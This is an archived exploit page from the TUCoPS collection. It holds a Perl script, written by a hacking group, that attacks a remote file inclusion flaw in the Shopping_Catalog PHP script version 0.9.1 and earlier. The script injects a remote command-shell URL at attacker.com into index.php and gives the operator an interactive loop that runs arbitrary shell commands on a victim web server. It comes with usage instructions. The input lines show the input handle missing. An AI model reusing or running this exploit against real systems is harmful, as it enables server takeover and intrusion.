TUCoPS :: Web :: e-commerce, shopping carts :: b06-5903.htm

Shopping_Catalog Remote File Include exploit
Shopping_Catalog Remote File Include exploit
Shopping_Catalog Remote File Include exploit



#!/usr/bin/perl
 
################################################################################################
#                                                                                              #
#            Shopping_Catalog                                                                  #
#                                                                                              #
# Class:     Remote File Include Vulnerability                                                 #
# Expl0iter by .... : the_Edit0r                                                               #
# Location : Iran                                                                              #
# Original Advisory : http://Www.Xmors.com ( Pablic ) http://Www.Xmors.net (pirv8) # 
# We ArE : Scorpiunix , KAMY4r , Sh3ll , SilliCONIC , Zer0.C0d3r                               #
#     D3vil_B0y_ir , Tornado , DarkAngel , Behbood                                             #
# http://www.gimescripts.com/categories/11%20Shopping%20Catalog%20PHP%20Script.zip # # # 
################################################################################################


use IO::Socket;
use LWP::Simple;

$cmdshell="http://attacker.com/cmd.txt"; # <====== Change This Line With Your Personal Script 

print "\n";
print "#################################################################\n";
print "#                                                               #\n";
print "# Shopping_Catalog <= 0.9.1  Remote File Include Vulnerability  #\n";
print "# Expl0iter By : the_Edit0r                                     #\n";
print "# Email: the_3dit0r[at]yahoo[dot]com                            #\n";
print "# Web Site : www.Xmors.com Www.Xmors.neT #\n"; 
print "#                                                               #\n";
print "#################################################################\n";


if (@ARGV < 2)
{
    print "\n Usage: Expl0it.pl [host] [path] ";
print "\n EX : Expl0it.pl www.victim.com /[path]/ \n\n"; 
exit;
}


$host=$ARGV[0];
$path=$ARGV[1];

print "Type Your Commands ( uname -a )\n";
print "For Exiit Type END\n";

print " ";$cmd = ;

while($cmd !~ "END") {
    $socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$host", PeerPort=>"80") or die "Could not connect to host.\n\n";

    print $socket "GET ".$path."index.php?function=custom&custom=".$cmdshell."?cmd=".$cmd."? HTTP/1.1\r\n";
    print $socket "Host: ".$host."\r\n";
    print $socket "Accept: */*\r\n";
    print $socket "Connection: close\r\n\n";

    while ($raspuns = <$socket>)
    {
        print $raspuns;
    }

    print " ";
    $cmd = ;
}

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH